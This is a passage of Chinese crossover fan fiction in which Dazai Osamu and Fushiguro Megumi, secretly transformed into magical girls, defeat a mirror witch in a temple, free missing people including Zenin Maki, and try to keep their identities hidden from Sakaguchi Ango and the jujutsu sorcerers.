太宰治一时没想好该先去被控制的那些人那里，还是先去找魔女。 但是看着身旁的坂口安吾已经快步跟了上去，他便叹了口气，也随之跟着往那边走去。 随着距离的拉近，喧闹声愈发清晰。 他们终于先后来到传出动静的那座殿堂前，那里门户大开，面前的景象让见多识广的老警察都愣住了。 ——殿堂内部一片混乱，各种东西横七竖八地倒在地上，香炉也被推翻，里面的灰洒了一地。 有几名警察眼神空洞，随手拿着桌椅一类的物品充当武器，正疯狂地攻击着另一边的同僚，显然已经被不知名的力量所控制。 而那另外两个没被控制的警察，看着实在有些凄惨。 他们虽然有理智，能够运用携带的枪械反击回去，但却没能狠下心来真正对着自己的同僚开枪。 刚才也只是被逼无奈地开了一枪，没命中致命的地方，他们的枪还在与其搏斗的过程中失手掉在了地上。 好在其他人能听到动静赶过来，不然他们很可能就要死在这里了。 那个较年迈的警察正反应过来要采取行动时，一个少年的声音突然响起。 ——“停下。” 随着声音落下，面前那几个精神失常的警察就奇迹般停下了动作，一动不动地呆立在了原地。 ——“睡吧。” 于是，那几个定住的警察就闭上了眼，手中武器掉落，他们的身体也随之倒下陷入昏睡。 其他人下意识将视线投向那个只是一出声就解决了这次事件的少年。 那个少年银发紫瞳，用高衣领掩盖着自己的下半张脸，穿着一身黑色制服。 他身旁还站着一个穿着风衣搭配西装的成年男子，和一只接近两米的…… 熊猫？！！ 较年迈的那位警察看见是他们，缓了一口气，向旁边的坂口安吾、还有尚且没见过这些人的警察们介绍道： “这是东京咒术高专来的咒术师，日下部笃也先生和他的学生狗卷棘君、胖达君。” 接着，那位警察便上前向他们表示感谢：“真是太感谢你们的帮助了。多亏了你们，才能够这么轻松地解决这种事。” 狗卷棘摇了摇头：“大芥。” 熊猫替不能随便说话的咒言师翻译：“他的意思是说没关系。” “请问那位就是异能特务科来的异能者吗？”日下部笃也的目光看向坂口安吾。 坂口安吾应道：“是我。” 日下部笃也：“这些警察的异常不是咒术造成的，我们没有感知到他们身上的咒力残秽。请问你能判断出这是否和异能有关？” 坂口安吾想起太宰治之前提出的猜想，可能是与异能和咒术不同的新的能力做出的这些。 他也比较信任太宰治的话，觉得这些不像是异能造成的。不过反正有太宰治的无效化异能，只要让对方碰一下试试看就能知道了。 想到这儿，坂口安吾回头望去，出声喊：“太宰，你用异能来看看……” “太宰？？！” 本来应该跟在他身边的那个人，此刻却不见了，根本就不知道对方是什么时候离开的。 这座寺庙这段时间以来，莫名其妙消失了太多人。 坂口安吾自然会第一时间想到，太宰治是不是也像那些失踪者一样，被这座寺庙悄无声息地吞噬了？ 他脸上的表情立刻变得糟糕起来。 这时候，胖达出声问道：“你说的太宰是个穿着沙色风衣、身上绑着很多绷带的青年吗？” 坂口安吾愣了一下，道：“对，你看见他了？” 胖达指了指旁边不远处的大门，回答：“我进来的时候，刚好看见那个人从这里悄悄离开了。” 坂口安吾：“……” 好吧，这也确实是太宰能做出的事情。 可是，一个人在这种地方行动也太危险了吧。 坂口安吾攥紧了拳头，决定赶紧找到太宰治，不管说什么都不能放任对方单独行动。 第44章 而另一边，太宰治自然不可能忽略坂口安吾的异能【堕落论】，那是一个很方便找人和探查情报的异能。 他还不想暴露自己隐藏的身份。 幸好，自己成为魔法少女后拥有的新能力可以瞬移。 太宰治在变身的那一瞬间，同时使用能力瞬移到了放《女生徒》书页的地方——他在来到这座寺庙前，提前趁坂口安吾不注意，将一张书页折叠好随手丢到了离寺庙外不远的一片草丛里。 再加上自己还能不依靠书页进行短距离瞬移，多次不断利用这一能力，太宰治很快就又从另一个方向回到了寺庙里。 如果坂口安吾使用异能来找他的话，就只能看到他走了一段路后，像其他人一样突然消失在空中了。 丘比：‘这样的话，坂口会很担心吧。’ 太宰治干笑两声：‘这也是没办法的事。不过，反正我只要尽快解决完魔女，也就没什么问题了吧。’ 丘比点点头：‘也是。’ 于是，他们两个便一起踏入了面前的魔女结界。 于此同时，坂口安吾暂时先告别了其他人，匆匆从那座殿堂里离开。 他确实如太宰治预料的那样，使用异能读取周围物体的记忆，由此去寻找太宰治的踪迹。 然而，坂口安吾还没找多久，就在路上远远地看见了一个黑发绿眸的少女身影。 对方看着年纪较小，黑发和丝带编在一起，头发侧边挂着海胆似的毛绒小球，穿着非常特殊的墨绿色拼接式刺绣裙子。 她一边低头看手上握着的一个幽绿色的宝石，一边往前走着。 坂口安吾的注意力顿时被这个少女吸引过去。 这座寺庙早就禁止对外开放了，很多人在这里失踪和死亡的消息也传得很广，能在这个时候来到这里的少女大概率不会是普通人。 更不用提黑发少女那一身有点过于夸张的漂亮打扮，就像是直接在身上写着“我很特殊”一样。 坂口安吾犹豫了一下，随即选择跟了上去。 悄悄跟着黑发少女走了一段路，他也看出了对方是依据手中的宝石选择方向前进的。 可是，那个宝石好像也没有表现出什么变化，她是怎么知道该往哪儿走的？而且她到底是准备去哪里？ 坂口安吾还没能解决这些困惑，下一秒，那个少女的身影就突然离奇消失了。？！！ 顾不上再隐藏，坂口安吾立刻快步往前走了上去。 面前只有一棵高大的松树，旁边是一些灌木丛，看起来完全没有能藏人的地方。 不远处倒是还有一座很高的古塔，但那少女也不可能一下子就跑到那里去了。 坂口安吾回忆着少女消失前的画面…… 他将目光锁定在眼前的这棵松树上，不知道是不是错觉，他感觉有那么一瞬，眼前树干上的裂纹变得有些模糊不清。 应该不会是错觉。 坂口安吾仔细地盯着前面的树干，发现确实能看见这里时不时会模糊一些，就像是空间产生了波动般。 黑发少女是从这里消失的，也就是说，其他人也可能在这里的空间之中吗？ 坂口安吾刚想到这里，就听见自己身后有脚步声在逐渐靠近。 他回头望去，又看见了另一个特殊的少女。 白色的长发，渐变色露肩连衣裙，还有这过长的白青双色围巾…… 这模样……坂口安吾立即回想起了之前看过的那次直播。 发生在浅井公寓楼里的那次恐怖事件实在是影响太大，不仅威胁到了那么多民众的生命安全，还将那种能改变别人世界观的特殊能力展现给了所有人。 坂口安吾自然不可能没关注那件事，也很快就认出了眼前这人正是当时直播里出现过的白发少女。 对方忽然道：“你就待在这里，有人会解决这些事。” 坂口安吾意识到，白发少女是在阻止他进入面前这个空间，于是问道：“谁会解决这些？你说的是刚才进去的那个墨绿色裙子的少女，还是你自己？” 白发少女闻言似乎怔了一下，很快又回过神来，回复道：“不是我，也不只是她……应该说是她们。” 她们？ 还会有像对方一样的其他少女吗？ 坂口安吾张口准备继续询问。 白发少女先出声：“总之，你就留在这里。那里的战斗你无法参与。” 说完，她便直接往前走，穿进了面前的那棵高大松树，身体随之消失不见。 坂口安吾没办法再追问下去，也因为刚才对方的警告，不好跟着进去。 他算是文职人员，自身的异能完全没有攻击力，跟上去只可能会拖其他人的后腿。 犹豫了片刻，坂口安吾准备去喊刚才那里的警察和咒术师们，多些人帮忙也是好的，总不可能只在这里干等着吧。 …… 伊江朔久这次跟着太宰治来到这里，是准备在对方万一失手遭遇危险时帮忙的，所以自然也就不能只操控丘比这个没有战斗力的马甲。 他自己的本体也提前变了身，远远地跟在一旁。 在丘比和太宰治成功找到魔女的结界并进入后，朔夜没过多久就也跟了过来，准备进去看着。 结果没想到碰见了坂口安吾，从对方的口中听出墨绿色裙子的少女刚也进入了魔女结界。 伊江朔久立刻想到，那人大概率会是伏黑惠。 也是，听说之前这寺庙曾有一个咒术师来执行任务，却也同样消失了，没有被探查到咒力残秽。 伏黑惠早就见过魔女，猜测到这件事与魔女有关后想要过来看看也很正常。 那么，这次估计是太宰治和伏黑惠他们两个人一起面对魔女了。 伊江朔久放心了许多，两个人合作的话，应该就不会有什么危险了吧。 然而，太宰治并不这么想。 如果可以的话，他更希望自己一个人解决这次的战斗，完全不需要什么同伴…… …… “我真的不是故意的。”对面黑发绿眸的少女无奈道。 “明明我都没有隐藏踪迹，你再怎么样也能听见我的脚步声。”太宰治问道：“那你到底是怎么‘不小心’攻击到我的？” “我还以为……”你是魔女。 伏黑惠咽下了后半句话没说，感觉要是真说出口了，对方应该会更生气吧。 但是，太宰治自然能猜到对方想说什么，抱怨道：“绷带怎么了，有绷带的就是魔女吗？我还要以为你才是魔女呢！” 伏黑惠有口难言。 太宰治不依不饶：“明明绷带是那么伟大的发明，要不是它，你怎么能这么快就跟到这里来？” 丘比夹在她们两人之间，帮忙打圆场无果后，只能心累地叹了一口气。 不久前…… 这次的魔女结界像极了一个巨大的镜子迷宫。 太宰治先一步进入了这里。然而她很快就迷失了方向，不知道该往哪里走才能到达结界的核心位置。 周遭全都是许多非常大型的镜子，相互连接在一起。她站在这里，附近的镜面上就全映照着自己如今变身后的少女模样。 但又不是完全真实的模样。 镜子里的自己有的模糊、有的扭曲，映照出来的画面由此显得格外诡异可怖。 幸好，太宰治没过多久就想出了解决办法。 变身后的她利用自己的绷带，将其无限延长后，把绷带的一端固定在了一个离结界出口不远处的地方。 随后，她攥着另一端绷带前进，以此来不断地深入镜子迷宫，找寻魔女的踪迹。 可是走着走着，太宰治却没想到，从自己身后已经走过了的地方突然冒出来了一个人。 当时听到声音的第一刻，自己便匆忙回头，还没看清到底是谁，就迎面接上了一道攻击。 虽然太宰治反应迅速，却依旧被那道凌厉的攻击划伤了手臂，这还是对方及时收回了攻击才没造成太多伤害。 伏黑惠也表示无奈。 伏黑惠还记得第一次面对魔女时，自己有多么失败，没办法保护好津美纪，自己险些还要死在那个医院里了。 可是他也不可能永远不面对魔女，总得要学习与魔女战斗，还得想办法获取悲叹之种净化自己的灵魂宝石。 更何况，听说自己学姐兼堂亲的禅院真希来寺庙执行任务，应该是误入了这里的魔女结界，已经消失了三天了。 再这样下去，就算禅院真希还没被魔女杀死，也估计快要饿死在这里了。 伏黑惠便选择变身后，一个人暗自跟着高专咒术师们来到了这座寺庙，并想办法摸索找到了魔女结界的入口。 进来之后，伏黑惠和太宰治一样都看到了许多大型镜子。 本来伏黑惠也应该迷失方向，不知道该往哪边前进的，但是她没走几步就恰好看见了一条很长的白色绷带。 绷带的一端固定在一面镜子上，而另一端则向着前方不断延伸着。 伏黑惠警觉起来，意识到这么特殊的绷带，很可能是魔女留下的痕迹。 于是，她便跟着绷带延伸的方向往前走着，提前做好了随时遇上魔女，和它开始一番战斗的准备。 在听到绷带前方传来声音时，伏黑惠没多想，也没去仔细分辨那是不是人类的脚步声。 她直接快速地越过拐角处的镜子，向着前方发动了攻击。 可是下一秒，却看见对面是一个年纪和自己差不多的少女。 伏黑惠惊愕地马上收回攻击，却没来得及，还是给对方的手臂上留下了一道血色的划痕…… 之后，虽然伏黑惠道了歉，但对面那个黑发鸢眼少女还是开始不满地嚷嚷了。 不过因为确实算是自己的错，伏黑惠也就没多说什么，被迫听完了对方的一连串抱怨。 伏黑惠心累不已。 惹到女孩子还是真是可怕啊，尤其是能够成为魔法少女的女孩子。 没错，伏黑惠已经确定了对方是魔法少女——身上没有咒力的痕迹，还能变出那么离谱的超长绷带，打扮得这样特殊繁丽…… 更重要的是，这个少女的身边还站着丘比。 至于为什么不怀疑对方是否也是由男性变成的魔法少女…… 这还用说吗？ 这么活泼，有着JK气质，穿这样特殊又夸张的黑色披风、加枯叶色复古风裙子、加全身绷带都完全不违和……怎么可能不是少女呢？ 而且大概率会是年纪不怎么大的少女，总之应该比自己年纪小吧。 不然怎么可能会用那种语气说出“明明绷带是那么伟大的发明”。 毕竟又不是人人都是五条老师的性格。 伏黑惠在心里默默叹气。 果然，除了自己这个异类之外，其他人应该都是货真价实的魔法少女吧。 第45章 “对了，我应该可以帮你疗伤。”伏黑惠突然慢一拍地想起来，这段时间自己独自摸索出的新能力之一。 太宰治好奇地应下了。 于是，伏黑惠使用了自己的能力。 在幽绿的光芒一闪而过后，太宰治确实感觉到手臂上的伤不再微微发痛了。 太宰治问道：“除了刚才的疗伤和把手变成虎爪攻击之外，你还拥有多少种能力？” 伏黑惠含糊道：“没多少。” 她有些不太想让对方知道，自己签约还不到半个月，尚且没有好好研究出自己的所有能力。 太宰治倒也没以为对方会乖乖回答，对陌生人隐瞒自己的能力是件再正常不过的事情，直白又单纯地说出来才是罕见的。 太宰治想着面前少女刚才向自己袭来的那道攻击，道：“话说，把自己的双手变成虎爪这样的能力……我也在其他人那里见过呢，能再让我仔细看看吗？” “……抱歉。”伏黑惠还是拒绝了对方。 因为总感觉那样太奇怪了。 把自己的身体一部分动物化后获得关于其动物特性的加强，这种能力虽然感觉还不错。 可要是在非战斗的时候使用，让其他人来观赏，就会令她感到非常不自在。 “真是没意思……那名字呢，我该怎么称呼你？”太宰治无聊地撇嘴：“同为魔法少女，你不会什么都要瞒着我吧？” 伏黑惠顿了一下。 虽然很不好意思，但是本名当然也不能说出去。 尤其是高专的好几个人目前都在这座寺庙里。 要是等会儿撞上他们，对面这个少女叫出了自己的本名，那情况就尴尬了。 “我叫禅院穗。”伏黑惠说出这个名字的时候，比一开始顺口多了，感觉已经快要逐渐习惯了。 太宰治点点头，回应道：“哦，禅院，叫我津岛就好。” 就这样，两个人友好地成功交换了彼此的假名。 按理来说，这似乎不太公平，因为伏黑惠说出了全名，而太宰治只说出了一个津岛的姓。 但是太宰治一副理直气壮的样子，因说出假名而有些心虚的伏黑惠也没有多问。 唯一知道全部真相的是一只外表看似宠物、智慧却过于常人的契约兽丘比。 可是此刻，也提前编出过朔夜这个假名的它失去了开口的资格，只能蹲在一边抬头看着她们，默默地摇着尾巴，心中一言难尽。 不过两位魔法少女没再接着多聊几句，目前还是先解决魔女更为重要，于是两人很快选择继续往镜子迷宫深处出发。 在太宰治那能够无限延长的绷带的帮助下，尽管她们耗费了一些时间，但还是成功到达了终点。 应该是终点吧…… 越过拐角处之后，前面是一大片空地。然而太过刺眼的白光骤然迎面而来，使得两人都控制不住地被迫闭上了眼睛。 紧接着下一刻，前方有破空声响起。 丘比及时出声提醒道：‘小心——’ 两人同时开始动作，即使尚且看不见任何东西，也能够快速地闪身躲了过去。 那道攻击落在了两人刚才身后的那面镜子上，镜子“噼里啪啦”地碎了一地。 丘比听着系统的解说，为她们转述道：‘这是镜之魔女，它的性质是自省。’ 太宰治努力适应了一下，艰难地微微睁开眼睛，勉强看见了向她们发动攻击的存在——那是一个浑身由镜子碎片组成的怪物，看起来更像是造型独特、有着奇异美感的艺术品。 这魔女实在是亮得太刺目了。 太宰治刚看见魔女的大致模样，还没看清楚，就又不可避免因被强光刺激而闭上了眼睛。 她用手挡在自己眼前，侧头躲开强光直射，然而眼眶边缘还是泛起了淡淡的红色，感觉干涩发痛。 要和这种家伙战斗还真麻烦啊。 “你退回到刚才的迷宫里吧，那里安全一些。”黑发绿眸少女的声音忽然响起，语气中带着几分坚定。 这样的态度…… 难道对方已经适应了强光、能够正常看见魔女了？ 太宰治有点惊讶，她记得方才两人看到强光后，几乎是同时都被迫闭上了眼睛。 那为什么对方能够适应得这么快？ 太宰治又一次艰难地睁开眼，这次她直接看向伏黑惠所在的方向，不正对着强光，能够睁眼的时间也就得以长了一些。 太宰治看清了对方此刻的样子——那个少女的眼睛改变了。 原本幽绿色的眼眸变成了深褐色，瞳孔缩成了一道细线，其中容纳着冷静和锐利的光。 看起来很像是隼的眼睛。 再加上刚才对方将手变成虎爪的样子……太宰治心底立刻对禅院穗的能力有了许多猜测，表面上只是对着那少女扬起了温和无害的笑容。 “没关系，我就待在这里。反正有危险的话，丘比会提醒我的。” ‘嗯，放心吧……’ 丘比卡壳了一下，而后看着太宰治转向自己时越发柔和的笑容，它不太熟练地念出了对方的假名：‘津岛是有自保能力的，穗你不用担心。’ 闻言，伏黑惠也不再多劝。 她往魔女所在的方向迎了上去。 在前进的同时，黑发少女的头上冒出了两只黑色的猫耳，灵敏度也随之大幅度提升。 太宰治站在原地。 “哇哦，好可爱。” 因为强光，她只能用双手遮着脸，一会儿睁眼一会儿闭眼，从双手指缝间看见那个少女头上的猫耳，拖长调感叹道： “不愧是魔法少女啊。” 幸好，伏黑惠目前的注意力全都集中在魔女那边，否则听到太宰治这种话，她可能都得尴尬得脚下一滑。 稍远处，魔女抖了抖自己的身躯，上面镶嵌的镜子碎片便掉下了许多，并且那些碎片向着伏黑惠直直冲了过去。 不过敏捷度提升后，伏黑惠全部都小心地躲开了。 她终于来到了魔女面前，又伸出了刚才不小心攻击到太宰治的虎爪，锋利的爪子快速袭向面前的魔女。 爪子与镜子碎片相碰，发出刺耳难听的声音。 三秒后，伏黑惠感觉到自己的手很快变得酸痛无力，好在对面魔女身上的镜子碎片也裂得更多了，虎爪即将撕开它的身体。 就在这时，魔女猛然向后退去。 伏黑惠不打算放过它，正要趁胜追击，可是身后却骤然传来了奇怪的声响，她下意识微微侧头看去。 刚才她们一起穿过的那片镜子迷宫开始震荡。 无数面镜子像是突然活了过来，挣扎着扭动自己的身体。随着“咯吱咯吱”的声音，这些镜子都变成了这个镜之魔女的样子。 随后，这些魔女密密麻麻向着这边疯狂地涌了上来。 这是什么鬼…… 面对这多得一眼望不到尽头的刺眼光源，别说反击回去了，她们的眼睛真的一瞬间都快要瞎了。 太宰治离得最近，眼看着就快要被那些镜之魔女攻击到了。 她直接手一挥，绷带便自动出现并在自己眼上缠了几圈，然后捞起一旁地上的丘比。 丘比及时给看不见的她报方位：‘11点钟方向，大概500米。’ 太宰治立刻使用了短距离瞬移的能力，身形在这过程中闪现了好几次，很快就带着丘比到达了伏黑惠身边。 而刚才那只真正的镜之魔女也早在之前就趁机飞快地溜走，钻进了和它一模一样的其他怪物之中，很快便消失不见了。 伏黑惠刚才错过了最好的时机，如今根本没办法追上去攻击它。此刻她的眼睛也几乎要睁不开了，只好用一只手挡在自己眼前遮光。 太宰治郁闷道：“这么多该怎么打啊？” 丘比说：‘最开始的那些镜子应该都是使魔幻化的，既然数量这么多，那它们大概率会很弱小。’ “话虽然这么说，可是数量也太多了。” 伏黑惠道：“而且真正的魔女就隐藏在这其中，要是被它找到机会，趁我们解决使魔的时候突然出手，那情况就糟糕了。” 太宰治忽然对伏黑惠说：“禅院，我有办法可以带着你离开这里。” 她没有说谎，之前太宰治就在别的地方放过书页，现在完全可以放弃与魔女战斗，带着其他人离开这里。 伏黑惠像是没想过这个选择，诧异地下意识望了一眼丘比。 丘比默了默，说：‘遇到难以战胜的魔女时，魔法少女们选择先保全自己是很正确的做法。只有保证自己先活下来，才能在今后打败更多的魔女、救更多的人。’ “丘比说的跟我想的一样呢。” 被绷带缚眼的太宰治很平静，听着不远处众多魔女的动静越来越大、似乎即将要靠近她们。 她也不慌不忙向伏黑惠伸出手，毫不着急地慢慢劝道：“我们这次应该很难解决镜之魔女了，所以就先和我一起走吧。” 伏黑惠却没有回应对方伸来的手，而是后退一步，语气坚定。 “你自己先走吧，我要留下。” 太宰治用略带不解的语气问道：“你留下来是想要白白送死吗？” “那些人在寺庙里失踪是因为进入了魔女的结界。” 伏黑惠想着自己学姐兼堂亲的禅院真希，说道：“我没有在这里见到他们的尸体，就证明他们还有可能活着。也许我打败魔女，就有可能救出他们。” 太宰治似笑非笑地道：“为了别人而浪费自己的生命，值得吗？” “你们都说它很难解决，但却不是说无法解决，对吧。” 伏黑惠毫不犹豫道：“我不会那么轻易就死掉的。津岛，你先带着丘比离开就好。” 第46章 太宰治微低下头，语气不明道：“这样啊，你是真的打算留下来了。” 看来这家伙是个好人啊。 太宰治回想起，织田作之助曾经临死前说过的话——“到救人的那边去吧，既然哪边都一样，那就做个好人……” 伏黑惠注意着那些魔女越来越逼近她们，催促道：“你们还不走吗？” 她没办法在这么多魔女的攻击下保护其他人。 “我突然想起一个解决魔女的办法。” 太宰治做好了选择，这么说道：“既然魔女和使魔有区别，那我应该可以从它们中找出真正的镜之魔女，就让我试一下吧。” 伏黑惠直觉对方大概早就想到了办法，应该不是临时才想到的。 虽然不知道津岛为什么这个时候才说出来，但现在也没时间在意这种事情了。 众多一模一样的镜之魔女来到她们面前，为了防止真正的魔女隐藏在其中，伏黑惠必须专心对付所有的魔女。 而就在这时，太宰治向着那些魔女伸出了手。 雪白的绷带从她手臂处蔓延出去，绷带不断地延长变宽，铺天盖地般席卷了这里。 入目所及，全是一片白色。 那些绷带笼罩住了所有魔女，并不断地收紧，挤压着它们的存在空间。 那些魔女感觉到了威胁，拼命地挣扎着。 但是如丘比所说，它们的数量太过庞大，而力量相对而言也就过于弱小，无法逃脱这些绷带的束缚。 而且，因为绷带遮挡住了许多光，伏黑惠终于能够再次睁开眼，深褐色的缩成一道线的瞳孔扫视着周遭的一切。 在那众多无力挣扎的魔女之中，只有一个魔女突破了绷带的束缚。 玻璃碴划破绷带，露出了它身体的一部分。 很显然，那就是真正的镜之魔女。 丘比下意识道：‘就是现在——’ 其实不用提醒，伏黑惠在注意到这一情况时，就已经快速往前奔去，她的身后也随之显现出了猎豹的尾巴。 这一次她精准地攻击向之前就给魔女留下的伤口处，被绷带阻碍的魔女反应速度慢了一拍，来不及反抗，就很快被虎爪撕裂。 伏黑惠有所察觉地伸出手，接住了从魔女身上掉落的悲叹之种。 周围其他的魔女们也恢复了使魔的样子，并且纷纷碎裂开来。 伏黑惠有些惊讶，她还记得上一次在医院遇见魔女时的情况，那时魔女被朔夜杀死后，使魔并没有紧跟着立即死去，而是还需要继续击杀使魔。 这样看来，不同的魔女和使魔差异很大。 这两次的魔女结界也几乎完全不同，有着各自的风格特点。 而下一刻，更令人惊讶的事情发生了。 伏黑惠看到，在使魔们纷纷自动碎掉之后，有许多人类忽地从镜子碎片中掉了出来。 原来，失踪的那些人就困在这迷宫里的镜子之中。 其中不少人无意识地闭目躺着，有的人已经毫无生机了，有的人胸膛还在微微起伏。 还有些人尚且清醒着，只是明显能看出他们的状态非常虚弱。如果被困在这里更久一些，估计他们全部都无法活下来。 不幸中的万幸，伏黑惠注意到了清醒地站起来的消失三天的禅院真希，并与其对上了视线。 虽然知道自己如今变身后的样子连姐姐津美纪都没认出来，禅院真希便更不可能认出来，但是伏黑惠还是本能地躲开了对方的目光。 魔女的结界在慢慢破碎。 这些人也没想到他们居然能够死里逃生，好多都激动得喜极而泣。 伏黑惠不太想在变身后对上这么多人，又想起了太宰治，于是回头望去，然而却看到了糟糕的一幕。 ——远处，黑色微卷长发的少女瘫坐在地上，垂着头，一只手紧紧攥着脖颈处戴着的项链上的宝石，似乎在忍耐着什么。 伏黑惠心里一惊，立刻赶过去。 “津岛，你怎么样了？” 太宰治没有抬头，语气淡淡，忽然冷淡下来的形象和刚才的活泼形成了巨大反差。 “使用的魔法超负荷了，有些脱力了。” 可是，伏黑惠看她的情况显然不像是脱力这么简单，果然刚才那种铺天盖地般的绷带给她带来的消耗太大了。 丘比沉声道：‘你需要悲叹之种。’ 伏黑惠闻言，没有丝毫犹豫就将手中的悲叹之种直接递了过去：“给你。” 太宰治勉强笑道：“我大概再缓一下就好……这是你打败的魔女，理应是你的战利品吧？” “我暂时还不需要，你拿着就好。”伏黑惠道。 太宰治迟疑片刻，微抬起头看向对方戴着的宝石头饰——幽绿色的灵魂宝石底部稍微有些发黑，不过总体倒还好，离全部变黑还有很长一段距离。 她接过悲叹之种：“谢谢，我欠你一个人情。” 这句话听起来还真有点熟悉，中也好像经常这么说。 太宰治心情略微有点复杂，没想到自己会像中也一样，随便就能欠下陌生人的人情。 伏黑惠倒是没怎么在意：“不用，要不是你的帮忙，我也没办法拿到这个悲叹之种。” 太宰治将悲叹之种贴近自己的灵魂宝石，原本逐渐快要接近全黑的宝石开始变化，污秽仿佛被悲叹之种吸收了一般。 随着宝石的变化，太宰治感觉自己的身体状况也在以肉眼可见的速度恢复。 最终，宝石变为了清透的琥珀色，可是里面中心还有一点极其顽固的黑色，如同永远都抹不掉一般。 丘比提醒道：‘好了，这个悲叹之种已经用完了。再继续使用的话，它就会再次孵化出魔女来，现在交给我就好了。’ 太宰治支撑着身体，重新站了起来，把悲叹之种递给丘比。 白色生物背上的红色圆圈就像一个盖子般打开了，将悲叹之种吞进去后又合上了。 伏黑惠：“……原来这个是可以打开的吗？” 丘比可爱歪头，一言不发。 伏黑惠又忍不住道：“怪不得这家伙从来不开口说话，现在想来大概是因为它的嘴是在背上吧？” 丘比继续保持安静。 因为这种事情问它也没用啊，得问系统才行。 太宰治在意的则是别的问题：“悲叹之种一次才能净化这些吗？感觉付出和回报并不怎么等值呢。” 丘比弱弱道：‘一般情况下，悲叹之种是可以用两次的。’ 太宰治想起自己刚签约时就是黑色与琥珀色混杂的宝石，而方才悲叹之种也没有彻底将其净化。 对比起伏黑惠的宝石，她的宝石似乎有点问题吧。 太宰治问道：“这么说，难不成是我比较倒霉咯。” ‘每个人都是独特的……’丘比无奈地转过话题：‘话说，你们是不是现在还有别的事情要处理？比如说，和这里的其他人先解释一下？’ 如今，魔女的结界已经彻底破碎了。 所有人都回到了现实世界当中，挤在一棵高大的松树附近，占据了这周围的草地和灌木丛。 这突如其来的动静把原先站在这附近的其他人吓了一跳。那三个咒术师还好，作为普通人的警察们简直要怀疑自己是否处于梦中了。 提前有了点心理准备的坂口安吾也没想到突然会发生这样的一幕。 可能是因为终于死里逃生，回到了安全的地方，这些受害者完全冷静理智不下来，再加上周围还躺着几个已经死亡的人，所以现场乱糟糟一片。 “真希！”胖达激动地迎上去，紧紧抱住禅院真希：“呜呜呜，你没事吧？你活着回来了，真是太好了！” 禅院真希艰难地想要从熊猫的怀抱中挣脱，不过因为比较虚弱所以力气小了很多，没好气地道：“放开啊，我要喘不过气了，你再抱下去我就真的有事了！” 日下部笃也在旁边看了她一圈，没发现有什么伤，便无声地松了口气。 狗卷棘也关心道：“大芥？” “我没事。”禅院真希面色难看：“……我本来还以为是来这里祓除咒灵的，结果没看到咒灵，却误入了一个像镜子迷宫一样的地方。” “镜子迷宫？” 胖达表情满是惊讶。 “是啊，我想要暴力通关，可惜失败了。在那里待久了就莫名其妙被困在了一面镜子里。差点以为要活生生渴死饿死在里面了，” 禅院真希挪动视线，望向不远处的那两个装扮特殊的少女，非常别扭地说：“多亏了那两位……咳，魔法少女，我才得以出来。” “什么……魔、魔法少女？！！” 胖达的声音一下子提高了好多度，盖过了其他不少人的声音。 这导致许多人的目光忍不住向它这边移来。 “熊猫？说话了？真的假的？” “我没看错吧，它是真的说话了，难道这是什么熊猫玩偶服吗？！” “怎么可能会有这种玩偶服啊。它张口的时候，我明明清楚地看到了牙齿和舌头，这么逼真怎么可能是假的。” “也许是高科技也有可能吧，话说它口中的魔法少女又是什么，我们不会误入什么异次元世界了吧？” “那个……我刚才在镜子里听到那两个救了我们的女孩子的说话声了。” “……我也有听见，她们说什么魔法少女啊魔女之类的话。” “什么，你们也听见了？原来不是我的幻觉吗？！” “……” 议论的声音此起彼伏了一段时间后，所有人的视线又很快集中到了伏黑惠和太宰治身上。 黑发绿眸的少女脸上难掩尴尬无措的表情。 尤其是在禅院真希过来向她道谢时，这少女显得就更紧张了，连忙道：“真的、不用谢，不用谢。” 像是生怕和对方有更多交流一般。 在一旁看着的太宰治若有所思。 坂口安吾被拜托来东京帮忙解决这次的事件，太宰治跟着他一起来，能够从官方那边拿到许多情报。 所以也当然知道在寺庙里消失的那个咒术师的名字——禅院真希。 禅院……吗？ 想起禅院穗的自我介绍，还有如今禅院穗对禅院真希的态度……太宰治能确定她们两个是认识的，只是后者没认出前者来。 太宰治当然也能想到，禅院穗这个名字有可能是假名。 不过从当时来看，对方说出这个名字时还挺顺口的，被称呼为禅院的时候反应也没有迟钝。 所以，禅院穗这个名字应该至少不全是假的。 如果她确实姓禅院的话，那就和这个咒术师是同一个姓氏。 而且当时面对那种危险的情况，禅院穗也愿意为了能救出对方的可能性而留下来…… 太宰治想起得到的情报中有一条是，禅院真希好像有一个妹妹。 难不成…… 第47章 关于禅院穗和禅院真希是否是姐妹关系，还需要之后搜集更多的信息，再加以验证。 而如今，因为想要观察禅院穗的反应，所以并没有及时离开的太宰治也遭到了报应，发觉自己的身份也似乎陷入危机之中。 ——太宰治敏锐地发现坂口安吾看着她们时的目光有些奇怪，不像是单纯的诧异，于是心里不由得升起了一点忧虑。 安吾该不会是察觉到了什么吧？ 就算禅院穗被自己发现了真实身份，也不会有什么大事，只要被自己逗一逗就行了。可要是自己被安吾发现了身份，那要考虑的事情就很多了。 那可是足以令人社会性死亡的啊！ 太宰治不确定坂口安吾的想象力到底能有多大胆，是否能猜到魔法少女的真实身份是成年男性。 尽管太宰治觉得自己变身后和变身前差别很大，但是也难免不会被其他人意外联想起来。 主要是因为她这一身的绷带实在是非常有特色了。除了重症病人之外，很少有人能跟她一样全身缠满绷带。 没办法，毕竟绷带是本体（×） 这时候，坂口安吾望向她们，终于忍不住开口了：“你们是魔法少女吗？那……” 情况紧急。 为了不能让安吾发现，太宰治只能拉过身旁伏黑惠的胳膊，温柔地笑了起来，抢先说道：“是啊，我和禅院都是魔法少女呢。” 太宰治清楚，只要两者的性格形象在某一方面有着足够大的差距，就不会那么容易被怀疑是同一个人。 而被拉住的伏黑惠身体一僵。 听到身旁的少女说出“禅院”这个姓，伏黑惠忽然想起了自己的失误。 糟糕，不应该贪图省事告诉津岛自己的这个假名的，禅院真希和其他咒术师可就在这旁边呢！ 下一刻，伏黑惠就仿佛感受到了来自高专咒术师们的热切注视，还听到了胖达学长的小声嘀咕：“禅院？” 要命，现在再给津岛使眼色让她改口已经来不及了。 禅院真希既然能确定她们是魔法少女，在结界里大概率也听到过“禅院穗”这个假名了。 现在唯一能做的补救就是…… 伏黑惠深吸一口气，回应似的靠近了津岛，尽量挤出一个完全不像自己的甜美笑容，却控制不住地多了几分咬牙切齿。 “是的，我和津岛确实是魔法少女。” 其中“津岛”这两个字她念得很重，要说对方没有报复的想法，太宰治是绝对不相信的。 不过，这完全不算什么。 反正也没有谁能通过“津岛”这个名字来想起太宰治。 所以，看着伏黑惠这样只能暗自生气的笑容，太宰治反而笑得更开心了。 她快活地问坂口安吾道：“怎么了，这位先生，难道我们不像是魔法少女吗？” 